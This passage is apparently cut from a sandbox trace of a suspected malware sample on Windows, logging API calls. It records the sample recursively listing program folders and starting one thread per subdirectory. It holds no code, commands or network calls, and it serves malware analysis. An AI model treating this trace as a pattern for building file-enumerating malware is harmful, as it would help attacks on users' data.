ftLastWriteTime.dwLowDateTime=0xec410110, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIALOG.exe", cAlternateFileName="")) returned 1 [0085.690] wcscmp (_String1="PDIALOG.exe", _String2=".") returned 1 [0085.690] wcscmp (_String1="PDIALOG.exe", _String2="..") returned 1 [0085.690] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1770db20, ftCreationTime.dwHighDateTime=0x1d59b87, ftLastAccessTime.dwLowDateTime=0xac7aa2c0, ftLastAccessTime.dwHighDateTime=0x1d5860e, ftLastWriteTime.dwLowDateTime=0xac7aa2c0, ftLastWriteTime.dwHighDateTime=0x1d5860e, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="selective-urw.exe", cAlternateFileName="SELECT~1.EXE")) returned 1 [0085.690] wcscmp (_String1="selective-urw.exe", _String2=".") returned 1 [0085.690] wcscmp (_String1="selective-urw.exe", _String2="..") returned 1 [0085.690] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0085.690] wcscmp (_String1="Templates", _String2=".") returned 1 [0085.690] wcscmp (_String1="Templates", _String2="..") returned 1 [0085.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x56) returned 0x1b7ce8e0 [0085.690] wcscpy (in: _Dest=0x1b7ce8e0, _Source="C:\\Program Files\\Windows Journal" | out: _Dest="C:\\Program Files\\Windows Journal") returned="C:\\Program Files\\Windows Journal" [0085.690] wcscat (in: _Dest=0x1b7ce8e0, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\") returned="C:\\Program Files\\Windows Journal\\" [0085.690] wcscat (in: _Dest=0x1b7ce8e0, _Source="Templates" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates" [0085.690] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7ce8e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a8 [0085.691] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0085.691] FindClose (in: hFindFile=0x1b7ce9a0 | out: hFindFile=0x1b7ce9a0) returned 1 [0085.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bfe0) returned 1 [0085.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc70) returned 1 Thread: id = 107 os_tid = 0x7d0 [0085.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc70 [0085.693] wcscpy (in: _Dest=0x1b82bc70, _Source="C:\\Program Files\\Windows Mail" | out: _Dest="C:\\Program Files\\Windows Mail") returned="C:\\Program Files\\Windows Mail" [0085.693] wcscat (in: _Dest=0x1b82bc70, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Mail\\") returned="C:\\Program Files\\Windows Mail\\" [0085.693] wcscat (in: _Dest=0x1b82bc70, _Source="*" | out: _Dest="C:\\Program Files\\Windows Mail\\*") returned="C:\\Program Files\\Windows Mail\\*" [0085.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.693] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Mail\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xddabdca0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddabdca0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ce9a0 [0085.694] wcscmp (_String1=".", _String2=".") returned 0 [0085.694] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xddabdca0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddabdca0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.694] wcscmp (_String1="..", _String2=".") returned 1 [0085.694] wcscmp (_String1="..", _String2="..") returned 0 [0085.694] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0085.694] wcscmp (_String1="en-US", _String2=".") returned 1 [0085.694] wcscmp (_String1="en-US", _String2="..") returned 1 [0085.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x48) returned 0x1b82bfe0 [0085.694] wcscpy (in: _Dest=0x1b82bfe0, _Source="C:\\Program Files\\Windows Mail" | out: _Dest="C:\\Program Files\\Windows Mail") returned="C:\\Program Files\\Windows Mail" [0085.694] wcscat (in: _Dest=0x1b82bfe0, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Mail\\") returned="C:\\Program Files\\Windows Mail\\" [0085.694] wcscat (in: _Dest=0x1b82bfe0, _Source="en-US" | out: _Dest="C:\\Program Files\\Windows Mail\\en-US") returned="C:\\Program Files\\Windows Mail\\en-US" [0085.694] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82bfe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b4 [0085.694] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7065be1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa7065be1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa70b1ea1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1fbe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoe.dll", cAlternateFileName="")) returned 1 [0085.695] wcscmp (_String1="msoe.dll", _String2=".") returned 1 [0085.695] wcscmp (_String1="msoe.dll", _String2="..") returned 1 [0085.695] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc917413, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xcc917413, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x95a52df0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2b4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOERES.dll", cAlternateFileName="")) returned 1 [0085.695] wcscmp (_String1="MSOERES.dll", _String2=".") returned 1 [0085.695] wcscmp (_String1="MSOERES.dll", _String2="..") returned 1 [0085.695] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa70b1ea1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa70b1ea1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa70b1ea1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oeimport.dll", cAlternateFileName="")) returned 1 [0085.695] wcscmp (_String1="oeimport.dll", _String2=".") returned 1 [0085.695] wcscmp (_String1="oeimport.dll", _String2="..") returned 1 [0085.695] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe90fc9b0, ftCreationTime.dwHighDateTime=0x1d5648d, ftLastAccessTime.dwLowDateTime=0xa30ba6c0, ftLastAccessTime.dwHighDateTime=0x1d59e5b, ftLastWriteTime.dwLowDateTime=0xa30ba6c0, ftLastWriteTime.dwHighDateTime=0x1d59e5b, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="thunderbird.exe", cAlternateFileName="THUNDE~1.EXE")) returned 1 [0085.695] wcscmp (_String1="thunderbird.exe", _String2=".") returned 1 [0085.695] wcscmp (_String1="thunderbird.exe", _String2="..") returned 1 [0085.695] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d1f425d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d1f425d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d21a3bd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab.exe", cAlternateFileName="")) returned 1 [0085.695] wcscmp (_String1="wab.exe", _String2=".") returned 1 [0085.695] wcscmp (_String1="wab.exe", _String2="..") returned 1 [0085.695] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfa72e7a, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbfa72e7a, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabfind.dll", cAlternateFileName="")) returned 1 [0085.695] wcscmp (_String1="wabfind.dll", _String2=".") returned 1 [0085.695] wcscmp (_String1="wabfind.dll", _String2="..") returned 1 [0085.695] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfddedd5, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbfddedd5, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabimp.dll", cAlternateFileName="")) returned 1 [0085.695] wcscmp (_String1="wabimp.dll", _String2=".") returned 1 [0085.695] wcscmp (_String1="wabimp.dll", _String2="..") returned 1 [0085.695] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf9da906, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbf9da906, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xfa86dfb0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabmig.exe", cAlternateFileName="")) returned 1 [0085.695] wcscmp (_String1="wabmig.exe", _String2=".") returned 1 [0085.695] wcscmp (_String1="wabmig.exe", _String2="..") returned 1 [0085.695] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc2062a1d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc2062a1d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xfbe97cf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 1 [0085.695] wcscmp (_String1="WinMail.exe", _String2=".") returned 1 [0085.695] wcscmp (_String1="WinMail.exe", _String2="..") returned 1 [0085.695] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc2062a1d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc2062a1d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xfbe97cf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 0 [0085.696] FindClose (in: hFindFile=0x1b7ce9a0 | out: hFindFile=0x1b7ce9a0) returned 1 [0085.696] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.696] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc70) returned 1 [0085.696] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 Thread: id = 108 os_tid = 0x7c4 [0085.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1b82bcc0 [0085.697] wcscpy (in: _Dest=0x1b82bcc0, _Source="C:\\Program Files (x86)\\Adobe" | out: _Dest="C:\\Program Files (x86)\\Adobe") returned="C:\\Program Files (x86)\\Adobe" [0085.697] wcscat (in: _Dest=0x1b82bcc0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\") returned="C:\\Program Files (x86)\\Adobe\\" [0085.697] wcscat (in: _Dest=0x1b82bcc0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\*") returned="C:\\Program Files (x86)\\Adobe\\*" [0085.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.698] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xdda719e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdda719e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ce9a0 [0085.698] wcscmp (_String1=".", _String2=".") returned 0 [0085.698] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xdda719e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdda719e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.698] wcscmp (_String1="..", _String2=".") returned 1 [0085.698] wcscmp (_String1="..", _String2="..") returned 0 [0085.698] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47d26e0, ftCreationTime.dwHighDateTime=0x1d5c7b0, ftLastAccessTime.dwLowDateTime=0x70939ee0, ftLastAccessTime.dwHighDateTime=0x1d5b671, ftLastWriteTime.dwLowDateTime=0x70939ee0, ftLastWriteTime.dwHighDateTime=0x1d5b671, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="leechftp.exe", cAlternateFileName="")) returned 1 [0085.698] wcscmp (_String1="leechftp.exe", _String2=".") returned 1 [0085.698] wcscmp (_String1="leechftp.exe", _String2="..") returned 1 [0085.698] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ed8ae0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader 10.0", cAlternateFileName="READER~1.0")) returned 1 [0085.698] wcscmp (_String1="Reader 10.0", _String2=".") returned 1 [0085.698] wcscmp (_String1="Reader 10.0", _String2="..") returned 1 [0085.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b7ce940 [0085.698] wcscpy (in: _Dest=0x1b7ce940, _Source="C:\\Program Files (x86)\\Adobe" | out: _Dest="C:\\Program Files (x86)\\Adobe") returned="C:\\Program Files (x86)\\Adobe" [0085.698] wcscat (in: _Dest=0x1b7ce940, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\") returned="C:\\Program Files (x86)\\Adobe\\" [0085.698] wcscat (in: _Dest=0x1b7ce940, _Source="Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0085.698] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7ce940, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b0 [0085.699] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2170a340, ftCreationTime.dwHighDateTime=0x1d5db0f, ftLastAccessTime.dwLowDateTime=0xe3c794b0, ftLastAccessTime.dwHighDateTime=0x1d587f6, ftLastWriteTime.dwLowDateTime=0xe3c794b0, ftLastWriteTime.dwHighDateTime=0x1d587f6, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="schemadetectmem.exe", cAlternateFileName="SCHEMA~1.EXE")) returned 1 [0085.699] wcscmp (_String1="schemadetectmem.exe", _String2=".") returned 1 [0085.699] wcscmp (_String1="schemadetectmem.exe", _String2="..") returned 1 [0085.699] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2170a340, ftCreationTime.dwHighDateTime=0x1d5db0f, ftLastAccessTime.dwLowDateTime=0xe3c794b0, ftLastAccessTime.dwHighDateTime=0x1d587f6, ftLastWriteTime.dwLowDateTime=0xe3c794b0, ftLastWriteTime.dwHighDateTime=0x1d587f6, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="schemadetectmem.exe", cAlternateFileName="SCHEMA~1.EXE")) returned 0 [0085.699] FindClose (in: hFindFile=0x1b7ce9a0 | out: hFindFile=0x1b7ce9a0) returned 1 [0085.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0085.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bd10) returned 1 Thread: id = 109 os_tid = 0x5ac [0085.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4c) returned 0x1b7ce9a0 [0085.708] wcscpy (in: _Dest=0x1b7ce9a0, _Source="C:\\Program Files (x86)\\Common Files" | out: _Dest="C:\\Program Files (x86)\\Common Files") returned="C:\\Program Files (x86)\\Common Files" [0085.708] wcscat (in: _Dest=0x1b7ce9a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\") returned="C:\\Program Files (x86)\\Common Files\\" [0085.709] wcscat (in: _Dest=0x1b7ce9a0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\*") returned="C:\\Program Files (x86)\\Common Files\\*" [0085.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.709] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xddb300c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddb300c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xed090 [0085.709] wcscmp (_String1=".", _String2=".") returned 0 [0085.709] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xddb300c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddb300c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.709] wcscmp (_String1="..", _String2=".") returned 1 [0085.709] wcscmp (_String1="..", _String2="..") returned 0 [0085.709] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0085.709] wcscmp (_String1="Adobe", _String2=".") returned 1 [0085.709] wcscmp (_String1="Adobe", _String2="..") returned 1 [0085.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x54) returned 0x1b858490 [0085.709] wcscpy (in: _Dest=0x1b858490, _Source="C:\\Program Files (x86)\\Common Files" | out: _Dest="C:\\Program Files (x86)\\Common Files") returned="C:\\Program Files (x86)\\Common Files" [0085.709] wcscat (in: _Dest=0x1b858490, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\") returned="C:\\Program Files (x86)\\Common Files\\" [0085.709] wcscat (in: _Dest=0x1b858490, _Source="Adobe" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe") returned="C:\\Program Files (x86)\\Common Files\\Adobe" [0085.709] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b858490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a4 [0085.713] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf21e9730, ftCreationTime.dwHighDateTime=0x1d5e5b5, ftLastAccessTime.dwLowDateTime=0x59fe3a10, ftLastAccessTime.dwHighDateTime=0x1d5bd0f, ftLastWriteTime.dwLowDateTime=0x59fe3a10, ftLastWriteTime.dwHighDateTime=0x1d5bd0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="centralcreditcard.exe", cAlternateFileName="CENTRA~1.EXE")) returned 1 [0085.713] wcscmp (_String1="centralcreditcard.exe", _String2=".") returned 1 [0085.713] wcscmp (_String1="centralcreditcard.exe", _String2="..") returned 1 [0085.713] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801ae160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x801d42c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x801d42c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0085.713] wcscmp (_String1="Java", _String2=".") returned 1 [0085.713] wcscmp (_String1="Java", _String2="..") returned 1 [0085.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b8584f0 [0085.713] wcscpy (in: _Dest=0x1b8584f0, _Source="C:\\Program Files (x86)\\Common Files" | out: _Dest="C:\\Program Files (x86)\\Common Files") returned="C:\\Program Files (x86)\\Common Files" [0085.713] wcscat (in: _Dest=0x1b8584f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\") returned="C:\\Program Files (x86)\\Common Files\\" [0085.713] wcscat (in: _Dest=0x1b8584f0, _Source="Java" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java") returned="C:\\Program Files (x86)\\Common Files\\Java" [0085.713] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b8584f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x548 [0085.716] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, 